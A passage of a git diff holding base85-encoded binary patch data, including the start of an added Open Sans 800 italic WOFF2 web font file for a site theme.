z`e5By*vy&v;&juJ*vgl<fZrwW=a3KeP0y)yaa3BJ%6dOQiv@;=hVWT27z*lN&_P^E
zj&n=Q-{PAK)1AXXAppA$>cONR`wU4SU)re#&!D&Hqv`b#9V{HQJ636sXF7ISDQMu-
z+S-IQ{HJNd&ZeucPvDyMHTU%yq*TY*=jlew&cUSa;!O@lXI*2W9%;wDu`DDx>MBB{
zsV1s%GDXy6Ca&}w#wX{D5L!wj5k##TZ6OO68#_B2u5_Tw*4F7Jk5{86Ni8Z-U*jLG
z?oMyr+#I2DVB}GSP)Ov~9VUix3QWDv1`hPMPkDuWw7N9yq|}0}q<rlQ9o^JSWq`q~
zM1-%`9>Tj8W$s~iqE%@I2ReEJR@%ae`v%KkvQDMw!N<tK^xCDsA69P{vuzebyvW?k
zo+kYOa1rvXxs2?-tgK@b*<@9dt{$BkGdbmzdgilBQ%%~`4cYMveYYA@`{=(*9)lCH
zo91RQ$?F8ejdyY7Sl@0N_`tMM6sCNWik(I;TN`-wY3n5TCYl~Ol;|8?E5Sk3<Wj_S
zA8v~ne9NX(?-K7IsHA5u$_9sZ&>yLR+jpX<$C|}evRaj>{kF*TJ7cSI99^gzXla8@
zl?u)yN8Lh;=AvPoRnlqvOFkF^fa|sb!o!=0$sC0z3JEAOaz1kMRRih3JPk^foFMss
z+7ADy<SmudRIndZj>zf*1CjYzG;wE+=9!sU={ZT0aMAJLNRWlF<)olE1eu?uMqpu6
z?{GTqcmmOq)63GGj&7EU7C<feRiCNn9C{fH;|1uPo!>2d;5ZxK7di+ai}^K*_766O
zzk}L3)^^fED+a<UD=QIHojD8?Gt_P7!53hteu{vuUKF<3V%y&SMXa{7(~;yFVXXWV
za-d*W7$_uP^DLBs@_eWEyWfS}Efu$btJLg<v8kpm-r^@zvT#{8lI|04+fuDST#(Q=
zxvv|%$Eis(zJ=(bBwW^@HSu={2n;<(?XVGVs2jRs_FmPSjT!!7^{Krj)sq3bipA4h
zBqwEyAqpn-@-{X0;GQhM5j;v_mx3fy#JvN+V2Y4LUdM&;Ym8-xYkIPs8Yh!%Se3C#
zpXnD7Zq)#05vqxn2Q^or;h*{d9>g0HI;2#Js*x=d8ha5V&}_xhT+SDD1^h@rsipt2
zErJMH8HXJ5AE>M6pSJd#>C!2=L1(w)ojQuoWz#;nu9eF3@^R$?$V4|@-R}y7I+*Uu
zI2Pq{^rDRgXvWCiRsL!PINLx`KVRPzx^+s`Q3_}y$!;cu$#<pHSF`6An?xGnnS;ry
zQD>z|@UyWfBp*g28*Bq(?GVK(OilJX&$Cjuu!Ek#7!y+s+fEgkWL1KxLLd^GHF^jn
zYv`RoLx4uL<S7i%nUm*C37049I{5r6V55p37zDnKc=%h;J7V&Tssgzi0JphMs5CYo
zw&HaHB0W>tPop}>^qYf1{BP7tl6U(_0+lhk0asWUqHI?tak_>TqbRw)l=Qmj1<p(_
ziJomop42FpY>mJ}s?V9&Bs!Qt-QR!o`D$cSn-H~c8SXY0=KG_GwsY-k$$8~ljn%@^
zC|zXCt2?)18|i{Fjt!17#;JR}yH;>F@q{soFgI4&!t3;F%0#7&7K(q=CTx$0<}qe5
z`QpNf?y)3%X_8dTQJ#led_YW$CD+A!G3U37e?>hK*Wc!iIGa=;iCb=y7OM><I&X7?
z3L`oFR$rFUh-gU|c`GstFPI30*|kZ1`xj*wUKc#(S4ZcV^%wKbFph+btz5Awxdm$3
zCOoBK+q?Xtt2$Iay&x8n+bjc7;gH>0`obF$LOG<p&^jOOtT)OPgFeZ~kuKd~xiZF9
zq?+F6f|cKmV41T*H`65es;SZfY&+cN#Vcff!&W<eN;`{v(`$>X6#s#VQ>;k7jfEct
z91#z&c<<I?{wA6=z$T7GQUNQm88H|tGg-f9<qZE)Vz)8&`1$V0LqCgGb?AoE3vz?M
z-PVV|p#N|y*i<v~ScMn7z@P*9z(RB(BV`5GraDXOLgMiH=h}6np7i*0z^cP)4%qAd
zgDW&Pmw$b;V4>1H>$juyu_!dZuSmLz-PSQmjWBSozCIo0Wr|27tR(V*(iW@7$H8Zc
z#ylpo-30c(Riykh;tviBJAwJFgAtF01>tBrHcfKrGVtieNU1RYH?i3FE?3U!2DGiA
zWyG|AKH_P)0D$6p0)fy)%vvG?nbL_xkbHyI4Sg5^RP`AP<l)L_0ij_#MG_YQ=6$ys
zYY}|RJF`C*5)sQV|In7u5TxSvCjPAM<yd!lopT}Em@sBmEt};HleCuWWUmD&zlD9U
zZ@S5n4tVjA62W_|&rJ|ROeP123c57Ig@Q_L8^Yp@agFBrFzDpGH)KX$FOc$*bL#`f
zAoI&CK{;tBaWFa~06RqzN?g^o?+Di#mJN2!3CU(+y@sBrtWj(v5h3EDzQd`bt<-bj
zJ)Rb>xwV|C$hw4-$KDDu$)eeey;#YF=uIgxe28NYN3L!pDozW*a9yh-oPJ%{^l$;T
zd87Fgt#nE&GZZqJ!k-Y!r<d<ZC>5Cq1_z<vRENKyQ=_HD5|UP-@Lt9;#uy|iJn;&T
zWRcMW__1?a7=m<*xV`bWcEhOiaTbKR#WfDvw%t9oyFB~tZK*@I|E2yM6K6KC*h&s#
zY=t=gqZR%^g;zBce{I>iHqB#l$!>4#%MO>t4%6K=78NcXZL*O_x|_TG6{M-(c7|#7
zRZBC(Mn_G<IT?w-N+&4Mi`4WCXEN#m4{knVWm=?ZFGntz$$12l18#-%Tj^TvK!*79
zRJT=S-h%!XtFHNr&v!IGr$oCP4c8V>kt6%BD5TI2&R@!7A;-YH2(!Zpf3z0<6lWg+
zU}Uk!o&&fS9$u&^F|OKkfBicpMd$em!nyE=+RJU)eFNwDP)%q9a!q625a@)3f~z|O
zB#|z0*P7iyA!Y@KrM%Vo*cTA66DTSaK}Ia-OFL@Gjt(pv@tAK4Ja~AGV8ZNaPY+^`
zd8F(%-fZZ&*)u5Asp9Dg1@gUu<qnjMuHBBVR#|PW#0DxR$(!O;ADga{UB%%ro?=Ig
z;qDe6S(uPJDDot|+;O7&^oI*CcTURWumoN+TNPhf%%9<CVfP9;D(WOKh~~8}OA<UF
z2WOa<IjM=(R(~M0=3<7neT7%fSKW8uh+>p6ckq5V!L}Kzm<hW+nHeRP8}j4Jb_t+p
zc}KD+C_2al|G04dugxf|*)`F^5dvKKaP>n-G}SISatM&?NPe9eqdM0h{u-9L*a{1z
z_B#7G%E_gM$6$LZ$J9I>w{wUVsE%Ik{8p}FTYUpf51_m-zMD3Be~v9I6>3T$Auz*k
zwtPpcO`V!B7u}NU?h%3ii&zR)Rem7+qBDp9u${Zf>glp5jc}MN^X6_Y2D9azB#ps*
zzO_EUG)}K+on*2>nRzub@Pf%q0F5@ntxgfuaj}j<S9(o<Jk=<=xaTXeDZ(7m(YiHE
z!)0(NmATLVQ0{aWx@jv9i}XDN)Oq&s=?Ao*?!W&%s#zYn@Lt)NR_~L7Ozi^SO&W-A
z#b+fR+(C)Jk<kb{GomSE@qUn-nA5ea^_SfKpx?ni38O2K%b(*~dS-W$W{unJ{q)Fl
zDGtpr=*t1@lv~dtlGgDcc{7~4T-uw^NsR~HtxTn;@SBl2J)#R&x*ks=#5?}H(a#}C
zsAq5spvSo`mJB8knF$2PNXo(ZMo%fnX7yEr2L&^UsqABF8$dpAY9LlhXiv<<&0l!c
z_GpSeAVktF*FF3MgSx=>`#@x%JyMGa#;bgA(;Cnxri}K1Q&Bj;lHOc&tH~{Kt&EQV
z2Vj?=(aX?6$;iU^@E-s&HLNCkCfSK|ghJf@SH3~}oVgu{@go^+eHn-BLHzVCGOKQ+
z&trsz(ky3KyIyU`z`pZUPKWu-d#7%*d_dRT(hSpqyQ_v$Btb}|lF#3c5KCy?E`e!!
z|F!Bzha^SZ)%2J;F1|W7H=Fbzo~S~qyZiCqaZXbPR@od=Hp_E%8i*|zI!D^VyfY8S
zSR>5d{KQ|RVUmLHqHWl;(@pgB_LCdkzgKkIdEn(xlJ^U&g*dYUYK;H^Q$l}4-NY$*
z<vIuY)qBcS>unOR9Lp~LUEGRc2p19+;|m;=6j0I2s!U8a%Z}cvgf3aK4UHNV^8;bV
zO)cuB_)dhRn&85u+Pz!UU*+qnS-0*==7UcAQg6<<aj1e}>;Gjl+??xEr1R3j{irWL
zU3~W%GS=nw6IlXG%nh1IZwr#*rJ6vCeMMV3MUOa;{=0|L!hbK2NN>4wN6d4_3&D52
zVi{h;qM8UMB6qltS_VG+Y+nLmWX_7yb6y@O3qdViZU=;d(hi}RUW0a@9nyl}nw$O&
z+5GkU;}NgiyQi;7puw!DZRa%SHvv;`QPwLxXLv!(!4&*^^J(J8$b@WAW>?KAf{pF!
zyFmO-Eu1$7Mi&kC_SDRI2HYFX{&BHbxVngMgb<vv9HrZ8i`WhNXNlg+(azC+GcRUL
zy^guF>ng=-XV88@?yE1B+#j7Kn(R2$S`VDu-K7Ql#y!_co-3n2zPQQ9)VtX&AH}GF
zQ$2HDf@8$Cb10VOYEsX|^KQP1l7%U>FI%#6nk$;8Xn2Z`v6SDlU6>#{GcC5)F1rGV
ze2qmaQbtvV^G*cs>G?0(2B&km_2nF~R}*U2r03ky!2Nj^r!&o;H4<Sl0b2lLfu~<M
z?tY)Ol~(VjxuJwCR>MalEqux?H_}C65gS0oJMlJYL^PV}<GksZt-P3L-<$UCer#UV
zu1b0e8I9O8=0!GBDZbHP-wogSegTIuz`9HZ$e4_reT+J8-UlM{fGO^oU*}VOzLK#M
zCoJtRW^Qe5I)x7pM?)czK=<)8j^0x>1Y29v3?~g!mx0NMcvoep52YJX5}B&>N6>ws
zlv~46k(sCgvw`A>3%UT9qB6!3pU^!@iglidIhw_82_kVe<`h1X?TM#=&Rj{U;M7|T
zp1{uD^8sK%-S*r!&f1R8huV7@GRzN|shJh2K;ADO&pw<Nfd|Zw@jN?0u+(-SH$5C}
zdJkC5#|NCwr{eotbt8&1g8~A9_DmdUS$Htbnj)l}(d9|=;@bKJtNsAd-6f+*zL8!x
z!xA*FBX&as@;Wq}qVJGwk2FT5Wm@Ns?B^Je;KOCdya-Xnz;@|D;F?(cvtjLa6`DKy
zq`QW&-i@dRj`DGfbplvLlJA1*z{cYM*SX3>m1B@ilQZ_s#su?kwpl*l?muU|(q|NI
zNMJf?vW%UpC!FyveTO8E(tldm<d;XJQoDhaNOh|b&p)Y7VM8r5vZFtYsO$n)PlG|I
zyS5=z1m#d*G7_UP>zk`R$!HY++-Ei*jo*{$`rjn!xZ>>mr4(Dc5OVhLgV>$$)_9^3
zsY@!;CrPMl087kFj<R1$${3kF=b2A@AjP*84+P17DH*LVOXX?JiBLlxy#FJse#S;1
zi4}+$aP0#IN!mpLB*41OdS)34mhm#j)>R+he)dYf%|o1p5d?&7;$-Y{LjrUO!CVDi
z_zSrTs&FQ%H!>bl_VlR8i}w*@w8`JLkN-r>z*3`lOvInq)wb4#Z(C%`^Gm!^rFVn>
zqIp<@;1U9g_usPRUX@rGYM%M0RZD1jLdy$*WR$jQr-6CiPHz!K;R!APy2>^I9oe|^
zmm9~KaA6zfjmRyCoO+HilDJH-9zG%nLQotK(8R=UX}~M^uq>fbEc^|c4eWBk1z`)H
zzSnSx#5;d&QMU9KKj<@}xx4-Qwx*lYKG#_$^3rFs$5<*`fIcdJ=})?f^Mug_o`!@9
z53X6jR=?ybmS{YhCfj-|>7U$6P93AL<od^>@Jezq(Lvub_jOHJ!zb_a3^OV&vK@WF
zDX`y9LhDLEzdS&(@<P`|Teacjx`20Ge!_YSF&XBnLW>-&!^sZ7)-N}1AF>1FwBwrS
zKJJ-Uc<ZH3_^uKZh(<8$W*fdOE3>3A>j;#qc6>!$L`zHO?8GDtP2<|5Jy(cZf3Gd>
z3WWamMqmVxyxb7M?QVHX*$o|su-x+NQ!rxwwYL53C8>eWGus(dEL}pvQ^stDTn@ah
zpAS6by?`LNoOSgl=7SJ~2v20@-}yEefQSpqJg2KmK(1ybnBhiN)`M?9$5JQ+Uc>ib
zALcDv^ppW(GfObwpYDl?c>f|%9_&GRlP9w>MuZ35#s=nLPzMm89pTPvTn&4dW&enG
zfF^@kms<#hWh*2<c%=8*JWXC~(2`>tr7j=t>d*ki{faAh%~PiSk>YIqFdQyX<n5$}
zPHXoI()w5Dx|U~hWN_aSEBn+h|2#g2l;4_!s4f(~En~3KFtV*Yo!@uO#Ff{?t}Mo6
zYKh5I_#m=!l>$j$trTWVWOO&h*k2UMRaGx)n|(v!BlwdA$udtZzD!LSU(2>)O`RH0
zs`WC>Qs@_R3wAjn0;j*$R}0=W2i<YvIYL~*^5BhxWjZt~cDssqja6<*`KyDIqha{K
z4XS-MRS~1%M>nj8gqrO-Zire}WvVa7t}rcK{&;dDTmzl2ks%~F5EKCMS`OVu@&iHt
z{T%r#)gu$&ZZBE%bFsh0x#-MWet?e_7_y?cBdtj3pGaN1iVmJfBVLhBhBdZp=*ps8
z7!ZPatstG<Y)#$M11KE$I#Ireu6yv2E1ujONY<H>7=E9&-^iaf-*uf*iEkrDJx751
z1&vHvFbHn<@hf2=s5WM(w{?+LQDELkWF*p)kIRpq+nt(e`oH!b1YF^8pSH5Qqy)Vk
z8gU5VZ-Vpv)!(u7`oed?Sv?^!E^zGlVDx@%;OhT@mmR0*1YhAl+nqdc)%_Gt%dr3z
zK$u*%LCi)ZLUd#`o6L6cWG=4)iV+Pbdq|;Uxg*bg+z8Ew&XDueWtVkOYmTQsDdP~7
zh3KOfT4N-iBUiXLkRNmFJL8Sh0)?Tz{_K^WkCn)3QE|L-Q!PHsb|p!HeB0O3G97Ew
zo|0Rfa7?%*&)<$qyfs4tz8=K~w{L;j7Rxdjdk-ygjSFjA_ujy(XilsZUpE=mT@sww
zk|MRJzq8W&mD4W*V0cS9xza009@Jb(S>NRfFf<;R_UkMYWV=`cu8Z~!D02+V6C{N2
zPr*P_K+Kz2yT}6^jiUf>##$t8{tmw#x=I3XhKHGIi5hJ4>=*><xkk;WXTz1If^Ri*
zLlK7+l|@&0_=9v>o|hnAQR^s07O1Nb7Xle!K8y$)2VKZ)*+06L+n6zq26U^`VFw)N
z!ER<39~m7uSgo`-Z{Q!?&}!E&h%S$z996CaSAKFOg(wvYme`<A9<19*gR6wy)_70%
zL)!#!%Oj|rQ%NB7DDDm{HBe>{l#g(|6D!6HWTz8D7_N@jp8Ab-Yd9bl3`@;vG?M^G
z4=|mF>VXOc;>02Z4Ty!`=)q+61p$LXA{Ryl*Z;VM5CsYVLz0Ee4@QE=gj6672m6H!
zCaI7YL5vNn;jl~8diG5;C>$z`tFkXe7*CoYMTCa^L&k5|7Ydrn>QOWx;r|zw8Hq?d
zFp1V=R59<6RK2``Z9QwV^N(&HzWq?d3dM+FAgacYm1@>q(3p!?Xd=zr=*zdvVjE`<
z?TUp}K}5E1+5p*zy#OxPR+_%W@dx?Vc&TZszOP|xa!RIL3Y4B|^3w8pM*CZCP$sr|
z6RTgLtcrDqg@E6SNy92;i78LhN0SrZwo>F9qPze!=I_5$D%ja`iK*<g>|qlJFu}xi
zMS{VyH3}7r*ww%788a%%T<bM#-NF`*#PgXnaJwa{pGA?=g^TB~Ci(wZTDTfIxAJxi
zQX<O~F}DdrmHkN3&-VdgU!1yLU7thtnMEzBL5537j!{NXx`<?D>FR84^6_?c`Tz+c
zVuFP9AxWZQvydC`9RNS~K%T;qM@{YB13>a6Y2(KaBcYS2o5U*@aH8$V8-~uW_s)*4
z4lYjOgpL1k^8PUXDVMQw2aOs1e-8X#fuHeK4LtvGsa(mrk-JMEK!+YNp{gvyE-mG%
zRgaVk+vrZzN!lud{Yn+<wmo|Jbk<Tf+R)-@*t+2f$D*WVd+87Z6&+1RZN0s*s#7=z
z8~pxLkxC@qs=VF=N9?`1^1S5g%`ofObnE$`(=O6XBNjtcN=-$MLw3SVX9l64^7lL~
zgS5hu+{P0qZs`Eho~LF@cGh(2#nqQb_cj4gumRYRLtv3b=#hs|l8M-o%Rr;e$kPX5
z^gij-eL>ZKwRg%r)Nd2ath_&bekxkPqK8o+N|`_>i<>iQ+Q6rdU_go)MW~RgQwkL?
zTex}!&6za+Y?MUCk(lOx%=!u4(}D7sJ=0d%;Bq?cPlnKNT=ODE1UeGYRFvTS9E6$^
z2t!l~%O5<MDu?X~!T~G8MKi&Pt1|0=QzxNxeSuZGp;q&OmoK8YV}hBdVqk^cdJVxY
zCtfV%%tZUup-Z=pJ@&N`EOkuxNRIc_6$>aK7zt%4N(!*3uwdYyoLYD2+|5r#R`;;Q
z_$Y5@Aq6@h)ld3y5unvFNM0|u(>T+OpIY;&b-pb_BqhFfQ)wlhW={#g+AMG_ZS2f}
z)*qs=0m~Ix^S?4Kh{ynV*{JIjBKGyF+90r#wkw6=h(>m~C=LSh{keFdirB?pLuE)C
zQ+Qf~kvD4&Jq*2DVe>?&OF^Lud!^(KtoL`$!?s0?o7`P_C_3g}@4sm=@&e1BT^uy*
zNs>(fj3m8}s_=#-=OGA8r?#pt!M<QhuHalHXyhxgoxeMBbjS0lLqee8N-Z?lP&;j6
z_Eaf+^bb@aeEI0M!~2eFYa~`Bsw%3hm^kT@Y!^AnvpVqh?A8KQ)Yk?kUDfQ=J253o
zrQ}Is%5sEjkhaf7gw!^wOSh1Ug7t2t_FtWY_8yiT9(hl&MXE}jaONES2|A&esy)X<
zl%4*GMDCVHqN?luT0e-X1NY6!WrKAS=$~VUj&_@W+-nZFZdnDzsmakZ;zmGAtNBT|
z<wfCG$?|tmOy0~9Gl`xjsKg?>S)LnORb4r%vDbR<LnEq>;JQWxDYO2~X?<`6#s#MN
zky-i|(w%dcLZ$a<JTLG~#i<}(ltKzJ{!adH8e>zKIOo3#F4sPo5X#bHg+p0~N&8>j
z|MZ$K=rm)k@=n>UmKL<~NlVvGcU`lpLqVKWYutw<p;G?QIdN<ryTvO;4i-f?88CPC
znq?9u=nxvYez>@X8OVg~mrL(#JQLd5Ju%*ZWCFyOeXODY#Fsf(0e+~bogA3J;RGGT
z{lQU89l)>|3NHB|{*07xqQUhbVvq;BU^=&$#?eqj!HB|;Ytd;;!|-9ShQgWwPWbUa
zNaRV5inmJARK-ac5E_coe8Ry{raCIW<nP@=>=9w_XQEm+sUc39I54SkPrT3`Z@gT6
zb%5uDaxUNk{JS4ULwsV#o!gG@Q7;b(>lGz*6#FsBybLqoH!7c%z-rK*pkrW2vYTjA
z5{arFC7^%UfymkR)*MhHAM1?jI_-Gz$|GcL)G*sDrD3xzsSz#D{4kSmVt84>BWc4H
z_Cg293DmH}m%FxoAiFVBNb37$q{Lu9-SoEFSlAyP5_CU(@8P*KB*o;gvWF>=^!*XB
z*DcrqL-;gEdMI<Z;gv|8{z;7daaHXwfK0LfOia>#(aqa^pldD-?sivri3Xv-P+ezR
z2N?Y$NAU9$P>K~Xa_}I)d)4!Bsox#5_i%I5L6vgg!PmOkcMOaF(e&{8;kJ@BI^_9^
z9H?pPwpCOW3W+k_`Zs5O`1m&j*nd`&h_5(iiVcWZmJ(%Nd3{wUkug6S=8VeLrUrqq
zKbV=msI;-J4PEfR-pE@TJKKt;DGY}^Cb6%<|F2Qk|Np7=`tKh7N2{)#Dp2_U(*}vy
z<q642K={8Fa7064ER6pe#rdzPWOnuy;Q#f*{I4H@Fh4q~oMk3v67`!1Hmvyj3{~s#
z+mh4UeUCS-fQyfl0?P&Rk5V{s%M*EGz$$|+bd6YJ^(X#&tMCagT86<qSJW0qO@6H#
z!9yz@yKl49isb=pF}>#1_&CVKC(*C7MAZt>?lp5PwzD)+nzKX{VsBisvj?E(Fq9!n
zv#tb-wxieeeF>e~FICyF)ja_<x3H@b(M8N_NeMXO9VQvRLjEE*%&yun-|yK*eLjn{
z+79))n}(YCQ!R?^+d0E|i}TrnFkg9;OU2DD3q|@2BrcWOg>^)lv{cXB0mAV4CkuGu
zvqw9(0k@`iQ*ZgtY4jTx@gIolL2s<f;QPJ|-6g+Ydk?rJPU1?y@gC_d>4j8+V}a-V
zrhrhosQ&_Gb6z0(^DC%3vzz)fDipus`hY8zTk;eI{rB^>>D<!pU$KtCutlF+?o=!E
z>^%vHp+2oAU!Fh)_;aieTn!kvHk6K;X`?|9^?!S4f6zDKf?fYEMe?1v(LGy{290ry
R7pBogwbb+jh=72A{tv!<OMd_W

literal 0
HcmV?d00001

diff --git a/theme/fonts/open-sans-v17-all-charsets-800italic.woff2 b/theme/fonts/open-sans-v17-all-charsets-800italic.woff2
new file mode 100644
index 0000000000000000000000000000000000000000..eed7d3c63d1f9bff356497c0b0fb79c50ac4dede
GIT binary patch
literal 40812
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
